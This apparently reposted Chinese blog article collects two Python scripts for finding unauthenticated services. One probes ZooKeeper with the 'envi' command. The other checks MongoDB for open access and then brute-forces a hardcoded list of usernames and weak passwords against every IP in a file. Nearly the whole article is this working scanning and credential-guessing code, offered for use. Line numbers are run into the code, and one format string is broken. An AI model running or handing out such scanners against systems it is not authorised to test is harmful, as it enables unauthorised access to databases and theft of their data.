未授权访问整理
发布日期:2021-08-21 13:18:01 浏览次数:16 分类:技术文章

本文共 2428 字,大约阅读时间需要 8 分钟。

1 #zookeeper Python3 2  3 #-*- coding: utf-8 -*- 4  5 import socket 6  7 def verify(protocol,ip,port): 8
 url = ip+':'+str(port) 9
 print('testing if zookeeper unanth vul')10
 try:11
 socket.setdefaulttimeout(3)12
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)13
 s.connect((ip, int(port)))14
 flag = b"envi"15
 s.send(flag)16
 data = s.recv(1024)17
 s.close()18
 if b'Environment' in data:19
 msg = 'There is zookeeper unanth vul on url: ' + url + ' .'20
 print(msg)21
 number = 'v90'22
 return True, url, number, msg23
 else:24
 pass25
 except Exception as e:26
 print(str(e))27
 msg = 'There is no zookeeper unanth vul.'28
 number = 'v0'29
 return False, url, number, msg30 31 if __name__ == '__main__':32
 res = verify('http','xx.116.40.xx',2181)33
 print(res)

1 #Mongodb 2 # -*- coding:utf-8 -*- 3  4 import pymongo 5 from pymongo.errors import ServerSelectionTimeoutError 6  7 def verify(ip,port): 8
 host = ip+':'+str(port) 9
 port = int(port)10
 loginnames = ['admin','test','user','root']11
 passwd = ['','123456','test','12345678','12345679','root','123456Aa','123456_Aa','123456aA','123456_aA','123QWEASD','admin123','admin','1q2w3e4r','134679']12
 print('testing if mongodb vul')13
 #是否无认证14
 try:15
 connection = pymongo.MongoClient(ip,port,serverSelectionTimeoutMS=1000)16
 dbs = connection.database_names()17
 msg = 'There is a mongodb unauthorized access , password is None'18
 number = 'v9'19
 print(dbs)20
 return True,host,number,msg
21
  #端口连不上,直接退出22
 except ServerSelectionTimeoutError as e:23
 msg = str(e)24
 number = 'v0'25
 return False,host,number,msg26
 except Exception as e:27
 msg = str(e)28
 number = 'v0'29
 #爆破30
 for loginname in loginnames:31
 for ps in passwd:
   32
 try:33
 connection.api.authenticate(loginname,ps)34
 dbs = connection.database_names()35
 msg = 'There is a mongodb unauthorized access , username/password is %s' %(loginname,ps)36
 number = 'v9'37
 print(msg)38
 return True,host,number,msg39
 except Exception as e:40
 msg = str(e)41
 number = 'v0'42
 return False,host,number,msg43 44 if __name__ == '__main__':45
 def get_pass_dict():46
 pass_dict = []47
 with open('./IP.txt', 'r') as f:48
 for line in f.readlines():49
 line = line.strip('\n')50
 pass_dict.append(line)51
 f.close()52
 return pass_dict53
 IP = get_pass_dict()54
 for ip in IP:55
 port = '27017'56
 res = verify(ip, port)57
 print(res)

 

转载于:https://www.cnblogs.com/AtesetEnginner/p/11038269.html

转载地址:https://blog.csdn.net/weixin_33720078/article/details/93704409 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:C语言文件操作
下一篇:博客更换

发表评论

最新留言

哈哈,博客排版真的漂亮呢~
[***.90.31.176]2023年02月22日 00时26分23秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

最新文章

python 通过模板生成文章_自动生成文章_python自动生成文章 - 云+社区 - 腾讯云 2019-12-02 01:43:30
python多线程下载编程_Python多线程结合队列下载百度音乐代码详解 2019-12-02 01:43:30
python包管理工具pip_pip_python包管理工具(pip)下载 v9.0.1官方版 - 121下载站 2019-12-02 01:43:30
outlook qr码在哪里_聚合码微信支付宝申请开通,商家融合收款码实现一码支付,如何申请微信和支付宝合并收款码?聚合码支持信用卡、花呗、微信和支付宝收款... 2019-12-02 01:43:30
python画图x轴时间间隔_matplotlib绘图-设置横坐标为日期显示范围与间隔 2019-12-02 01:43:30
react组件卸载调用的方法_React组件如何还能跑得再快一点 2019-12-02 01:43:28
小程序直播 OBS 画质_教你玩转微信小程序直播 2019-12-02 01:43:28
python按位与怎么算_基础的十进制按位运算总结与在Python中的计算示例 2019-12-02 01:43:28
python工程文件如何打包_python 项目打包 2019-12-02 01:43:29
ant design vue table 高度自适应_Table行内的开关组件的使用 2019-12-02 01:43:29
python中函数包括_python中有哪些函数 2019-12-02 01:43:29
python怎么放音乐_python怎么播放音乐 2019-12-02 01:43:29
win10默认安装路径修改_问题解答|Win10电脑重启桌面图标就变乱的解决方法! 2019-12-02 01:43:27
什么是python自动化测试_python自动化测试学习笔记-1 2019-12-02 01:43:27
python数据分析工具_python数据分析工具 | pandas 2019-12-02 01:43:27
python用pyecharts画柱状图_小白学Python(13)——pyecharts 绘制 柱状图/条形图 Bar 2019-12-02 01:43:27
python在线diff工具在哪_使用Python创建你自己的diff-tool 2019-12-02 01:43:27
苹果手机上网很慢_手机信号满格,但上网速度却很慢?来听听通信专家怎么说的... 2019-12-02 01:43:28
360安卓_360手机助手下载 2019-12-02 01:43:28
python 生成随机数,如何在Python中生成随机数? 2019-12-02 01:43:25